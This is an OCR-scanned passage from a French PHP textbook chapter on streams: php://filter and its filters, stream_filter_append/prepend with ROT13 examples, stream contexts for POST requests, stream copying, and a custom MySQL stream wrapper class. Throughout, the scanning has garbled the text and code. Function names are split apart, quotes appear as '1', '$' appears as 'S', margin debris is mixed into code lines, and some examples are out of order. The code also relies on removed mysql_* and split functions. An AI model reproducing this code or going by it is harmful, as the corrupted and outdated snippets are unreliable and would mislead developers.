mesure de leur disponibilite. II s'agit en quelque sorte de filtrer les donnees. 

Ce peut etre le seul recours pour une fonction comme readf ile ( ) et peux permettre d'eviter 
un traitement a posteriori avec f ile_get_contents ( ) ou file ( ) 

La liste des filtres disponibles est donnee par la fonction stream_get_f iiters ( ) . 



stream_get_filters () 

Retourne la liste des filtres disponibles sous la forme d'un tableau indexe. 

Syntaxe : array stream_get_f i Iters (void) 

retour Tableau indexe contenant la liste des filtres disponibles. 

Utilisez simplement ce script pour voir quels sont les filtres que vous pouvez utiliser. 
<? php 

print_r(stream_get_filters()) ; 

?> 

Vous devriez observer un resultat de ce type : 

Array 
( 

[0] => convert.iconv.* 
[1] => string.rotl3 
[2] => string.toupper 
[3] => string. tolower 
[4] => string.strip_tags 
[5] => convert.* 
[6] => zlib.* 

) 



Tableau 9.5 : Les filtres utilisables par defaut avec le gestionnaire php://f ilter 



Filtres 


Descriptions 


convert.iconv.* 


Change I'encodage de la chaine de caracteres. 


string. rot1 3 


Effectue un encodage R0T13 a la chaine de caracteres. L'encodage 
R0T13 decale les caracteres de 13 dans I'alphabet. Exemple : a devient 
n, b devient o, c devient p. 


string.toupper 


Retourne la chaine en majuscule. 


string.tolower 


Retourne la chaine en minuscule. 
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Filtres 


Descriptions 


string. stripjags 


Filtre les tags de formatage HTML. 


zlib* 


Utilise les fonctions de la zlib pour compresser ou decompresser les 
donnees a la volee. 


convert.base64-* 


convert.base64-encode permet d'encoder en base64. convert.base64- 
decode permet de decoder une chaine de caracteres encodee en 
base64. 


convert.quoted-printable-* 


convert.quoted-printable-encode permet de convertir une chaine dans le 
format 'quoted-printable'. Le format 'quoted-printable' est souvent 
utilise dans le corps des mail ou dans le posts de newsgroup, 
convert.quoted-printable-decode permet de decoder une chaine au 
format 'quoted-printable'. 



Pour utiliser ces filtres vous devez suivre la syntaxe suivante: 



php://filter/ 

Applique un filtre en lecture ou ecriture du fichier 

Syntaxe : php: //f i 1 ter/[read=$f i 1 treLecture | wri te=$f i 1 treEcri ture] 

/resource=$ressource 

$f i 1 treLecture Parametre optionnel indiquant le filtre a appliquer lors de la lecture. 

$f i 1 treEcri ture Parametre optionnel indiquant le filtre a appliquer lors de l'ecriture. 

$ressource Ressource du flux a filtrer, cela peut-etre un simple nom de fichier ou une 

ressource s'appuyant sur les protocoles http://, ftp://, 
compress . zlib : / / , etc.. 



Exemple d'utilisation du gestionnaire php avec le parametre filter. 
<?php 

// Recupere la page d'accueil de php.net 
// Renvoie le contenu dans la chaine $contenu en appliquant 
// un filtre qui retourne tous les caracteres en majuscule. 
$contenu = 

x file_get_contents("php://filter/read=string.toupper/resource=http://php.net") ; 

// Creation du fichier compresse php. net. gz avec le contenu 
// recupere precedemment 

$fp = fopen ("compress .zl i b://php. net .gz" , "w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, $contenu); 
fclose($fp) ; 

// Affichage du fichier decompresse avec application d'un filtre 
// retournant tous les caracteres en majuscules 
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readf i 1 e("php://f i 1 ter/read=stri ng. tol ower/resource=compress .zl ib://php.net .gz") ; 

?> 

II est possible d'associer un filtre a un flux de facon a ce que le filtre en question soit utilise pour 
chaque operation effectuee sur ce flux. On peut utiliser pour cela les fonctions 

stream_f ilter_append ( ) OU stream_f ilter_prepend ( ) . Dans le premier Cas, le filtre est 

rattache a la suite des filtres deja attribues au flux. La seconde fonction permet de specifier un 
filtre qui sera place en tete de liste des filtres a utiliser. Les filtres en haut de la liste etant utilises 
en premier. 



stream_filter_append () 



Attribue un filtre a un flux passe en parametre. II est place en queue de liste des filtres deja 
attaches au flux. 

Syntaxe : bool stream_f i 1 ter_append (ressource $f 1 ux, string $filtre [, 

int $comportement [, mixed $parametre]] ) 

$f 1 ux Ressource vers la flux retournee par f open ( ) ou f sockopen ( ) . 

$filtre Filtre a utiliser. 

$comportement Dans le cas ou le flux a ete ouvert en mode lecture et ecriture, ce parametre 
permet de fixer si le filtre doit s'appliquer en lecture, en ecriture ou dans les 
deux cas. 

S TREAM_F I LTER_READ : Appliquer le filtre uniquement en lecture. 
STREAM_FILTER_WRITE : Appliquer le filtre uniquement en ecriture. 
STREAM_FILTER_ALL : Appliquer le filtre dans tous les cas. 

$parametre Parametres optionnels pouvant etre necessaires a l'utilisation du filtre 

$f iltre. 

retour Retourne TRUE si le filtre a bien ete rattache au flux et FALSE dans le cas 

contraire. 



stream_filter_prepend () 



Attribue un filtre a un flux passe en parametre. II est place en tete de la liste des filtres deja 
attaches au flux. 

Syntaxe: bool stream_f i 1 ter_prepend (ressource $flux, string $filtre [, 

int $comportement [, mixed $parametre]]) 

$f 1 ux Ressource vers la flux retournee par f open ( ) ou f sockopen ( ) . 

$filtre Filtre a utiliser. 

$comportement Dans le cas ou le flux a ete ouvert en mode lecture et ecriture, ce parametre 
permet de fixer si le filtre doit s'appliquer en lecture, en ecriture ou dans les 
deux cas. 
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S TRE AM_F I LTER_READ : Appliquer le filtre uniquement en lecture. 
STREAM_FILTER_WRITE : Appliquer le filtre uniquement en ecriture. 
STREAM_FILTER_ALL : Appliquer le filtre dans tous les cas. 



$parametre 



Parametres optionnels pouvant etre necessaires a l'utilisation du filtre 
$f iltre. 



retour 



Retourne TRUE si le filtre a bien ete rattache au flux et FALSE dans le cas 
contraire. 



<?php 

// Ouverture d'un fichier en lecture et ecriture 
$fp = fopen("bible.txt", "w+"); 

// On attache le filtre R0T13 uniquement en ecriture 

stream_f i 1 ter_append ($f p, "stri ng . rotl3" , STREAM_FILTER_WRITE) ; 

// On attache au flux, le filtre string. toupper 
stream_f i 1 ter_append ($f p, " stri ng . toupper" , STREAM_FI LTER_WRITE) ; 
// On attache au flux, le filtre string. tolower en fin de liste 
// Par consequent le filtre string. toupper n'aura aucun effet 
stream_f i 1 ter_append ($f p, "stri ng . tol ower" , STREAM_FI LTER_WRITE) ; 

// Ecriture de donnees dans le fichier 

fwrite($fp, "Damien HEUTE\n") ; 

fwrite($fp, "Thomas HEUTE\n") ; 

fwrite($fp, "Laurent GUED0N\n") ; 

fwrite($fp, "Pierre-Emmanuel MULLER\n") ; 

rewind($fp) ; 

// Lecture du fichier 
while ($ligne=fread($fp, 1024) ) { 
echo ($ligne); 

} 

fclose($fp); 

?> 

On obtient le resultat suivant : 

qnzvra urhgr 
gubznf urhgr 
ynherag thrqba 
cvreer-rzznahry zhyyre 

Si on modifie le code en specifiant le filtre string, tolower en debut de liste comme ceci : 
<?php 

// Ouverture d'un fichier en lecture et ecriture 
$fp = fopen("bible.txt", "w+"); 

// On attache le filtre R0T13 uniquement en ecriture 
stream_filter_append($fp, "string.rotl3", STREAM_FILTER_WRITE) ; 
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// On attache au flux, le filtre string. toupper 
stream_f i 1 ter_append ($f p , " stri ng . toupper" , STREAM_FI LTER_WRITE) ; 
// On attache au flux, le filtre string. tolower en debut de liste 
// Par consequent ce filtre n'aura aucun effet (ecrase par string. toupper) 
stream_f i 1 ter_prepend ($f p , "stri ng . tol ower" , STREAM_FI LTER_WRITE) ; 

// Ecriture de donnees dans le fichier 

fwrite($fp, "Damien HEUTE\n") ; 

fwrite($fp, "Thomas HEUTE\n") ; 

fwrite($fp, "Laurent GUED0N\n") ; 

fwrite($fp, "Pierre-Emmanuel MULLER\n"); 

rewi nd ($fp) ; 

// Lecture du fichier 
while ($ligne=fread($fp, 1024) ) { 
echo ($ligne); 

} 

fclose($fp); 

?> 

On obtient alors : 

QNZVRA URHGR 
GUBZNF URHGR 
YNHERAG THRQBA 
CVREER-RZZNAHRY ZHYYRE 

Modifions encore notre scripte en modifiant le comportement du filtre string. roti3 en 

STREAM_FILTER_ALL. 

Cette fois la lecture du scripte utilise le filtre ROT13, ainsi le resultat de son execution est le 
suivant : 

DAMIEN HEUTE 
THOMAS HEUTE 
LAURENT GUEDON 
PIERRE-EMMANUEL MULLER 



Contexte de ressource 

Vous pouvez specifier un contexte lors de l'appel a une ressource. Par exemple vous pouvez 
passer des parametres a une URL. Pour cela, il est possible d'enregistrer votre contexte a l'aide 

de la fonction stream_context_create ( ) . 
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stream_context_create () 

Enregistre un contexte de flux utilise ensuite lors de l'appel aux fonctions file(), 
f ile_get_contents ( ) ou f open ( ) . 

Syntaxe : ressource stream_context_create( [array $contexte]) 

$contexte Tableau optionnel fournissant les contextes. De la forme 

$tableau [gestionnaire] [option] = valeur. 

retour Retourne une ressource a passer en parametre des fonctions file ( ) , 

f ile_get_contents ( ) ou f open ( ) . 

Exemple illustrant l'utilisation de stream_context_create ( ) : 
<?php 

Spostdata = "auteurl=Laurent%20GUED0N&" . 
"auteur2=Dami en%20HEUTE&" . 
"auteur3=Pierre%20Emmanuel%20MULLER&". 
"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
"Referer:http://www.monsite.com\n" . 
"Con tent- Length : " . strl en ($postdata) . "\n" . 
"Content-Type: appl i cation/x-www-form-url encoded\n\n" . 
$postdata; 

$contexte = array( 
1 http 1 =>array ( 

'method' => 'POST', 
'header' => $header 

) 

); 

$fc = stream_context_create($contexte) ; 

$fp = fopen( ' http://l ocal host/bibl e/recup.php ' , 'r', false, $fc); 

fpassthru ($fp) ; 
fclose($fp) ; 

?> 

Ce script appelle une page recup . php decrite ci-dessous : 
<?php 

echo "Les variables postees : \n"; 
print_r($_POST) ; 
echo "\n \n"; 

echo "Provenance: " .$_SERVER["HTTP_REFERER"] . "\n" ; 
echo "Type de contenu : " .$_SERVER["CONTENT_TYPE"] ; 

?> 
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L'execution du script donne le resultat suivant 

Les variables postees : 
Array 
( 

[auteurl] => Laurent GUEDON 
[auteur2] => Damien HEUTE 
[auteur3] => Pierre Emmanuel MULLER 
[auteur4] => Thomas HEUTE 

) 

Provenance: http://www.mons ite.com 
Type de contenu:application/x-www-form-url encoded 

On peut imaginer facilement les multiples usages qui en decoulent. 

Pour ne pas avoir a specifier la ressource de contexte dans les fonctions file(), 
f iie_get_contents ( ) ou fopen() vous pouvez utiliser la fonction 

stream_context_get_def ault ( ) . 
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stream_context_get_default () 

Specif ie les options de contexte par defaut lors des appels aux fonctions fiie(), 

f ile_get_contents ( ) OU fopen() . 

Syntaxe : ressource stream_context_get_defaul t( [array $contexte]) 

$contexte Tableau optionnel fournissant les contextes. De la forme 

$tableau [gestionnaire] [option] = valeur. 

retour Retourne une ressource pouvant etre passee en parametre des fonctions 

f ile ( ) , f ile_get_contents ( ) ou f open ( ) . 

<?php 

Spostdata = "auteurl=Laurent%20GUED0N&" . 
"auteur2=Dami en%20HEUTE&" . 
"auteur3=Pierre%20Emmanuel%20MULLER&". 
"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
"Referer:http://www.monsite.com\n" . 
"Con tent- Length : " .strl en($postdata) . "\n" . 
"Content-Type: appl i cation/x-www-form-urlencoded\n\n" . 
$postdata; 



$contexte = array( 
1 http 1 =>array ( 

'method' => 'POST', 
'header' => $header 
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); 




$fc 



fpassthru ($fp) ; 
fclose($fp) ; 

?> 



$fp 



stream_context_get_def aul t ($contexte) ; 



fopen ( 1 http://l ocal host/bi bl e/recup.php 1 , ' r 1 ) ; 



Le resultat est identique a l'exemple precedent : 



Les variables postees : 

Array 

( 



[auteurl] => Laurent GUEDON 
[auteur2] => Damien HEUTE 
[auteur3] => Pierre Emmanuel MULLER 
[auteur4] => Thomas HEUTE 

) 

Provenance: http://www.mons ite.com 

Type de contenu:application/x-www-form-url encoded 

Autre solution, utiliser la fonction stream_context_set_option ( ) .Cette fonction permet de 
fixer une option de contexte apres l'appel a la fonction stream_context_create ( ) . 



Fixe une option de contexte a la ressource de flux passee en parametre fileO, 
f ile_get_contents ( ) ou fopen ( ) . 



stream_context_set_option () 



retour 



Syntaxe : 



$contexte 



$gestionnaire 
$opti on 
$val eur 



bool stream_context_set_opti on (ressource $contexte, string 
$gestionnai re, string $option, mixed $valeur) 

Ressource du contexte creee a l'aide de la fonction 

stream_context_create ( ) . 

Identifiant du gestionnaire affecte. 
Option du gestionnaire modifiee 
Nouvelle valeur de l'option 

Retourne TRUE si l'operation a ete effectuee avec succes et FALSE dans le 
cas contraire. 



<?php 

$postdata = "auteurl=Laurent%20GUED0N&" . 
"auteur2=Dami en%20HEUTE&" . 
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"auteur3=Pierre%20Emmanuel%20MULLER&". 
"auteur4=Thomas%20HEUTE\n" ; 

to 

$header = "User-Agent: Bible Browser V0.3\n". cd> =■ ET 

"Referer:http://www.monsite.com\n". "g 5" co 

"Content-Length :" .strl en($postdata) . "\n" . 3. «» S 

"Content-Type: application/x-www-form-urlencoded\n\n". 5" "* 2 

* CDq_3 

$postdata; «" cd q. 

CO CD 
CO 

$fc = stream_context_create() ; 

stream_context_set_option($fc, 1 http 1 , 'method', 'POST'); 
stream_context_set_option($fc, 'http', 'header', $header) ; 

$fp = fopen('http://localhost/bible/recup.php' , 'r', false, $fc); 

fpassthru ($fp) ; 
fclose($fp); 

?> 

On obtient la meme chose que precedemment, c'est a dire : 

Les variables postees : 

Array 

( 

[auteurl] => Laurent GUEDON 
[auteur2] => Damien HEUTE 
[auteur3] => Pierre Emmanuel MULLER 
[auteur4] => Thomas HEUTE 

) 

Provenance: http: //www. monsite.com 

Type de contenu:application/x-www-form-url encoded 

A tout moment, nous pouvons recuperer les informations de contexte, simplement en utilisant 
la fonction stream_context_get_options ( ) . 



stream_context_get_options () 

Retourne les options de contexte dans un tableau associatif. 

Syntaxe : array stream_context_get_options(ressource $contexte) 

$contexte Ressource du contexte creee a l'aide de la fonction 

stream_context_create ( ) . 

retour Tableau associatif contenant les informations de contexte. 
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<?php 

$postdata = "auteurl=Laurent%20GUED0N&" . 
g "auteur2=Damien%20HEUTE&". 
"= |> M "auteur3=Pierre%20Emmanuel%20MULLER&". 
o —.2 "auteur4=Thomas%20HEUTE\n"; 
g c/j t: 

=>.2j S. $header = "User-Agent: Bible Browser V0.3\n". 

jo 1 - "Referer:http://www.monsite.com\n". 

o> *" "Content-Length :". strl en ($postdata) . "\n" . 

"Content-Type: appl i cation/x-www-form-url encoded\n\n" . 

$postdata; 

$fc = stream_context_create() ; 

echo "Options de contexte \n"; 

pri nt_r (stream_context_get_opti ons ($fc) ) ; 

stream_context_set_option($fc, ' http 1 , 'method', 'POST'); 
stream_context_set_option($fc, 'http', 'header', $header) ; 
echo "\nOptions de contexte, une fois modifiees \n"; 
pri nt_r (stream_context_get_opti ons ($f c) ) ; 

?> 

Voici le resultat de ce script : 

Options de contexte 

Array 

( 

) 

Options de contexte, une fois modifiees 

Array 

( 

[http] => Array 
( 

[method] => POST 

[header] => User-Agent: Bible Browser V0.3 
Referer:http://www. monsite.com 
Content-Length: 106 

Content-Type : appl i cat i on /x-www-f orm-url encoded 

auteurl=Laurent%20GUED0N&auteur2=Damien%20HEUTE&auteur3=Pierre%20Emmanuel%20 
s< MULLER&auteur4=Thomas20HEUTE 
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Travailler avec les flux 

to 

Copier d'une ressource a une autre I C 

Lafonction stream_copy_to_stream( ) permet de copier le contenu pointe par une ressource 3. S5 ™ 
de flux vers une autre ressource. Meme si les gestionnaires utilises par les deux flux sont ~ 2. o 
differents. ™ g- = 



stream_copy_to_stream () 

Copie les donnees d'un flux vers un autre. 



Syntaxe : i nt stream_copy_to_stream(ressource $source, ressource 

$desti nation [, int $taille]) 

$ s u r c e Ressource du flux source . 

$destination Ressource du flux destination 

$tai 1 1 e Taille en octet des donnees a copier. Par defaut toutes les donnees seront 

integralement copiees. 

retour Retourne le nombre d'octet ayant ete copie si l'operation a ete effectuee 

avec succes et FALSE dans le cas contraire. 

<?php 

$src = fopen ( 1 http://www.php. net 1 , 'r'); 

$dest = fopen('ftp://laurent:motdepasse@ftp. serveur.org/php. net. html 1 , '*'); 

$nboct = stream_copy_to_stream($src, $dest); 

echo $nboct." octets ont ete copies sur le serveur\n"; 

?> 

34775 octets ont ete copies sur le serveur 



Recuperer le contenu d'un flux 
Recuperer l'ensemble 

On peut egalement avoir besoin de recuperer le contenu d'un flux dans une chaine. La fonction 
stream_get_contents ( ) permet de recuperer le reste d'un contenu d'un flux. 



stream_get_contents () 

Recupere le reste du contenu d'un flux dans une chaine. 

Syntaxe: string stream_get_contents (ressource $flux [, int $taille]) 

$f 1 ux Ressource du flux que Ton considere. 
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$tai 1 1 e Taille en octet des donnees a recuperer. Par defaut toutes les donnees 

seront integralement retournees. 

CO 

" v> retour Chaine de caractere. 

O ^ 

■■~ 03 o L'exemple suivant retourne le fichier index du site Php.net comme le ferait la fonction 
» m r 

g, £ cd readfileO. 

"" ! is: <?php 

$flux = fopen( 1 http://www.php.net 1 , 'r'); 
$content = stream_get_contents ($fl ux) ; 
echo $content; 

?> 



Recuperer une ligne 

On peut egalement lire les lignes les unes a la suite des autres. On utilise pour cela la fonction 

stream_get_line ( ) . 



stream_get_line() 

Recupere une ligne de donnee dans un flux. 

Syntaxe : string stream_get_l ine (ressource $flux, int $taille, string 

$fin) 

$ f 1 ux Ressource du flux que Ton considere. 

$ t a i 1 1 e Taille en octet de la ligne a recuperer. La lecture se termine lorsque $taille 

octets ont ete lus ou lorsque la fin de la ligne fixee par le parametre $fin a 
ete rencontree. 

$f i n Chaine de caractere representant la fin d'une ligne (exemple : \n). 

retour Chaine de caractere. 

L'exemple ci-dessous permet de recuperer uniquement l'entete HTML du document present 
en index du site php . net. 



<?php 

$flux = fopen( 1 http://www.php.net 1 , 'r'); 

$1 i gne = stream_get_l ine($flux, 4048, "</head>"); 

echo $ligne; 

?> 



Informations sur une ressource 

Une fois la ressource ouverte, il peut-etre interessant de recuperer des informations sur celle-ci. 
La fonction stream_get_meta_data ( ) permet de retrouver bon nombre d'informations sur la 
ressource de flux. 



608 



Les streams ou les flux 



stream_get_meta_data () 

Retourne les informations sur une ressource de flux. 

Syntaxe : array stream_get_meta_data (ressource $flux) 

$flux Ressource ouverte avec les fonctions fopen(), fsockopen() ou 

pf sockopen ( ) . 

retour Retourne un tableau associatif comportant les differentes information sur 

le flux. 

<? php 

$fp = fopen('ftp://tild:passe@ftp. monserveur.org/php. net. html 1 , V); 

pri nt_r (stream_get_meta_data ($f p) ) ; 

fclose($fp); 

?> 

L'exemple precedent retourne un resultat du type : 

Array 
( 

[wrapper_data] => 
[wrapper_type] => ftp 
[stream_type] => tcp_socket 
[mode] => r+ 
[unread_bytes] => 
[seekable] => 

[uri] => ftp://tild:passe@ftp. monserveur.org/php.net.html 
[timed_out] => 
[blocked] => 1 
[eof] => 

) 



Aj outer des gestionnaires 

II serait dommage de se limiter a ces quelques protocoles supportes. Le langage PHP, dans sa 
grande souplesse, permet de creer de nouveaux gestionnaires. Ainsi on peut imaginer que, 
desirant ouvrir un fichier dans un format que vous auriez convenu prealablement, vous puissiez 
indiquer votre gestionnaire aux fonctions de lecture et d'ecriture de fichiers. De la sorte, il vous 
est plus commode d'effectuer les operations elementaires en utilisant simplement les fonctions 
classiques d'acces aux fichiers. 

Nous allons implementer ici un gestionnaire qui va nous permettre d'acceder a une base de 
donnees. Pour cela il faut faire appel a la fonction stream_wrapper_register ( ) ou a son 

alias stream_register_wrapper ( ) . 
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stream_wrapper_register () 



Cette fonction permet d'enregistrer un nouveau protocole definit par une classe. 



$protocole 
$cl asse 



Syntaxe : 



retour 



bool stream_wrapper_regi ster(stri ng $protocol e, string 
$cl asse) 

Nom du protocole a definir. 

Nom de la classe utilisee pour implementer le protocole. 

Retourne TRUE si le protocole a bien ete enregistre et FALSE dans le cas 
contraire (Par exemple si le protocole est deja enregistre). 



Avant d'utiliser cette fonction, vous devez avoir implemente une classe. Celle-ci comprend un 
certain nombre de methodes qu'il vous faut prendre en compte. 




Exemple PHP 5 

L 'exemple qui va suivre prend en compte les modifications de PHP5 pour la partie 



ATTENTION objet. Cela a pour consequence que des modifications doivent etre apportees pour 
adapter la classe a une version anterieure (PHP 4.3). 

II faut dans un premier temps permettre l'ouverture du flux et indiquer dans la classe les 
operations qui doivent etre effectuees a la suite d'un appel a la fonction f open ( ) . Pour ce faire 
nous utiliserons la methode stream_open ( ) . 



Cette commande interprete l'appel a la fonction f open ( ) et analyse le chemin du flux qui doit 
etre traite ainsi que le mode d'ouverture. 



(Classe Stream Personnalisee)->stream_open() 



Syntaxe : 



bool stream_open (stri ng $chemin, string $mode, int $options, 
stri ng $chemi nReel ) 



$chemi n 



Chemin vers le flux a traiter. II faut utiliser la fonction parse_url ( ) 
pour analyser la chaine de caracteres. 



$mode 



Mode d'ouverture du flux voir la fonction f open ( ) pour la liste des 
modes disponibles. Au developpeur d'analyser le mode pour gerer les 
traitements utilisables. 



$opti on 



Fournit des options particulieres pour permettre l'ouverture de la 
ressource de flux : 



STREAM_USE_PATH : Indique que la ressource est a rechercher dans le 
chemin courant ou a l'aide de la configuration de l'include_path (voir 
le chapitre sur php.ini). 
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STREAM_REPORT_ERRORS : Le developpeur de la classe est responsable 
de la leve des erreurs qui pourrait survenir (Voir la fonction 

trigger_error ( ) ). 

$chemi nReel Chemin reel de la ressource. 

retour Retournez TRUE si l'operation a ete effectuee avec succes et FALSE dans 

le cas contraire. 

Voici un exemple implementant uniquement l'ouverture pour examiner les donnees passees a 
la fonction stream_open ( ) lorsque Ton execute f open ( ) . 

<?php 

class dbStream { 

function stream_open($chemin, $mode, $options='', &$chemi nReel = 1 1 ) { 
echo $chemin; 
echo "\n"; 
echo $mode; 
return TRUE; 

} 

} 

stream_wrapper_regi ster ( 1 exl 1 , 1 dbStream 1 ) 

or die("Impossible d 1 enregi strer ce protocole !"); 

$flux = fopen("exl://monchemin", "r"); 

?> 

Le resultat est le suivant : 

exl://monchemin 
r 

Pour implementer la fermeture du flux, il faut mettre en place la methode stream_ciose ( ) . 



(Classe Stream Personnalisee)->stream_close() 

Methode appelee lors de l'execution de la fonction f close ( ) . 
Syntaxe : void stream_cl ose(void) 

Nous allons maintenant mettre en place la connexion a notre base de donnees. Pour l'exemple 
nous allons creer une base de donnees a l'aide du script SQL suivant : 

CREATE DATABASE 'bible' ; 
CREATE TABLE 'auteurs' ( 
'id' INT NOT NULL AUTO_INCREMENT , 
'nom' VARCHAR( 255 ) NOT NULL , 
'prenom' VARCHAR( 255 ) NOT NULL , 
PRIMARY KEY ( 'id' ) 

) COMMENT = 'Table des auteurs de la Bible du PHP 1 ; 
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La connexion a notre table s 'effectuera en indiquant l'url suivante : 

M mysql : / / dbUser : dbPasse@serveur/base 

_ £ <*> dbuser etant un utilisateur autorise a acceder a la base de donnees. 

E w 09 
O *■* .E 

'ti S! 5 dbPasse etant le mode de passe de l'utilisateur. 

03 S S 

eo 2 -at serveur indique l'adresse du serveur de la base. 

oj *" base est le nom de la base de donnees utilisee pour la connexion. 

table enfin, est le nom de la table ou se trouve nos donnees. 

Voici comment implementer la classe correspondante : 

<?php 

class fluxMysql { 
private $db; 
private $rs; 
private $table; 

function stream_open($chemin, $mode, $options='', &$chemi nReel = 1 1 ) { 
$url = parse_url ($chemi n) ; 

$this->db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']] 
//On separe la base et la table 

list($base, $thi s->tabl e) = split("\.", $url [' path '] ) ; 
// On supprime le "/" devant le nom de la base 
$base = substr ($base, 1-strl en ($base) ) ; 
mysql_select_db($base) ; 

// On execute la requete de selection de la table 

$this->rs = mysql_query ( ' sel ect * from ' .$this->table, $this->db); 



1 



return TRUE; 



function stream_close() { 

return mysql_close($this->db) ; 



} 



stream_wrapper_regi ster( ' mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !"); 

// Ouverture de la connexion 

$flux = fopen("mysql ://root@localhost/bible.auteurs", "r"); 

// Terminer la connexion 
fcl ose($fl ux) ; 

?> 

Bien sur cette fonction n'affiche rien pour le moment. Pour se faire vous devez mettre en place 
la methode qui sera appelee lors de l'execution d'une fonction fread( ) ou fgets ( ) . Pour se 
faire, vous devez implementer stream_read ( ) dans votre classe. 
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(Classe Stream Personnalisee)->stream_read() 



to 



Methode execute lors de 1'appel de la fonction fread( ) ou fgets ( ) . 



Syntaxe : 

$nombre 



retour 



Nombre d'octets qui doivent etre lu (en fonction du pointeur courant). 



Chaine de caractere correspondant a la position du pointeur courant et de 
taille correspondant au nombre, $nonibre, de caracteres lus. Si aucun 
caractere ne peut-etre retourne, la fonction retourne FALSE. 



string stream_read(int $nombre) 




Pour illustrer par un exemple la mise en place de cette methode, nous allons ajouter deux 
enregistrements a notre base de donnees a l'aide du script SQL suivant : 

INSERT INTO 'auteurs' ('nom' , 'prenom' ) 

VALUES ( 1 GUEDON ' , 'Laurent'); 
INSERT INTO 'auteurs' ('nom' , 'prenom' ) 

VALUES ('HEUTE', 'Thomas'); 

Maintenant, implementons notre methode de lecture. 

function stream_read($nombre) { 
$this->position++; 
$chai neretour = 11 ; 
$row = mysql_fetch_array ($thi s->rs) ; 
for ($i=0; $i<mysql_num_fi el ds ( $ t h i s->rs) ; $i++) { 

$chai neretour .= $row[mysql_field_name($this->rs, $i)]; 

// Format la chaine retournee 

// Tabulation entre les champs 

// Retour a la ligne lorsque tous 

// les champs ont ete lus 

i f ($i+l==mysql_num_f iel ds($this->rs) ) { 

$chaineretour .= "\n"; 
} else { 

$chaineretour .= "\t"; 

} 

} 

return $chai neretour; 

} 

Si vous essayez d'effectuer une lecture a ce niveau, vous verrez le message suivant apparaitre : 

Warning: fread() [function.fread] : fluxMysql : :stream_eof is not implemented! 

En effet, vous devez implementer une methode stream_eof () avant d'effectuer n'importe 
quelle lecture sur votre flux. 
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(Classe Stream Personnalisee)->stream_eof() 



Methode indiquant si le pointeur du flux se trouve a la fin du fichier ou non. Utilise dans le cas 
de l'execution de la fonction f eof ( ) . 



Syntaxe : 



retour 



bool stream_eof (voi d) 

Retourne TRUE si le pointeur se trouve en fin de lecture de la ressource. 



Pour notre exemple, nous implementerons cette methode comme ceci : 

function stream_eof () { 

// Verifie si toutes les entrees ont ete lues 
i f ($thi s->posi tion < $thi s->num_rows) { 

// Si non, retourne FALSE 

return FALSE; 
} else { 

// Dans le cas contraire, renvoie TRUE 
return TRUE; 



Sans oublier d'ajouter ceci au debut de la classe 
private $position = 0; 

La lecture peut maintenant s'effectuer de la facon suivante : 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or dieC'Impossible d 1 enregi strer ce protocole !"); 

// Ouverture de la connexion 

$flux = fopen("mysql ://root@localhost/bible.auteurs", "r"); 
while($c = fread($flux, 2048)) { 
echo $c; 

} 

// Terminer la connexion 
fcl ose($fl ux) ; 

On obtient le resultat suivant : 

1 GUEDON Laurent 

2 HEUTE Thomas 

C\ Un exemple sans octet 

Vous remarquerez qu 'ici, nous n 'avons pas traite le second parametre de la fonction 
IttUE f read ( ) . Mais il est simple de decouper le resultat pour ne retourner qu 'une partie de 
la chaine en fonction du nombre d'octets desire. 
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Vous pouvez remarquer que la lecture s'effectue simplement, le pointeur se deplagant d'un 
enregistrement a l'autre a chaque appel de la fonction f read ( ) . 




PHP 4.3 oui, PHP 5 non... 

Cet exemple bien que fonctionnel dans les versions 4. 3 et superieur nefonctionne pas 



ATTENTION dans la version recente de PHP5. Le bug a ete reporte et cela devrait etre retabli dans 
les prochaines versions de PHP 5. 

Vous savez qu'il est simple de connaitre la position du pointeur a chaque moment. Vous utilisez 
f tell ( ) en indiquant la ressource utilisee et la fonction vous retourne la position actuelle du 
pointeur. Pour implementer un equivalent pour votre gestionnaire, vous devez mettre en place 
une methode nommee stream_teii ( ) dans votre classe. 



(Classe Stream Personnalisee)->stream_tell() 

Methode appelee lors de l'execution de la fonction f tell ( ) . Vous devez retourner la position 
du pointeur. 

Syntaxe : i nt stream_tel 1 (voi d) 

retour Vous devez renvoyer la position du pointeur de type entier. 

Voici comment dans notre exemple, la methode stream_teli ( ) retourne la position actuelle 
du pointeur. 

function stream_tel 1 () { 
return $this->position; 

} 

Puis ajouter ceci : 

rewi nd ($fl ux) ; 

echo ftell ($flux) ."\n"; 



REMARQUE 



Bugdejeunesse 

Cette fonctionnalite n 'est pas utilisable dans PHP pour le moment, en effet, a I'heure 
de la redaction de cette ouvrage (version 5.0.2), ftell ( ) n'utilise pas le valeur 
retournee par de la methode stream_tell (). Peut-etre pour la version de PHP 
5.1... 



Lorsque vous utilisez les fonctions de lecture vous pouvez facilement deplacer le pointeur a 
l'aide de la fonction f seek ( ) . La encore vous pouvez implementer une methode qui va vous 
permettre l'usage de cette fonction. II faut mettre en place la methode stream_seek ( ) . 
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(Classe Stream Personnalisee)->stream_seek() 

Permet de modifier la position du pointeur du flux. Cette methode est utilisee lors de l'appel a 
;s » "5 la fonction f seek ( ) . Vous devez implementer la methode stream_teli ( ) auparavant. 

co S Syntaxe : bool stream_seek(int $offset, int $origine) 

— 1 .££ *~ 

oj ! *"" $offset Nouvelle position du pointeur depuis l'origine $ or igine. 

$origine Point de depart pour calculer la nouvelle position. Voir les parametre 

utilises par la fonction f seek ( ) . 

retour La methode doit retourner TRUE si le deplacement a bien ete effectue et 

FALSE dans le cas contraire. 



Placez cette methode dans votre classe : 

function stream_seek($offset, $origine=SEEK_SET) { 
switch($origine) { 

// L'origine du deplacement est 
case SEEK_SET: 
$dep = 0; 
break; 

// L'origine du deplacement est la position 
// courante 
case SEEK_CUR: 

$dep = $this->position; 

break; 

// L'origine du deplacement est la fin du 

// flux 

case SEEK_END: 

$dep = mysql_num_rows ($thi s->rs) ; 
break; 



// Deplacement 

$this->position = $offset+$dep; 

return mysql_data_seek($this->rs, $this->position) ; 



Ainsi que l'appel a la fonction f seek ( ) dans votre programme : 

echo "Deplacer le pointeur sur la seconde entree :"; 

fseek($flux, 1); 

echo fread($flux, 2048). "\n"; 



Maintenant observons de quelle maniere nous pouvons utiliser fwrite() pour ecrire des 
donnees dans la table. Pour cela nous devons mettre en place la methode stream_write ( ) . 
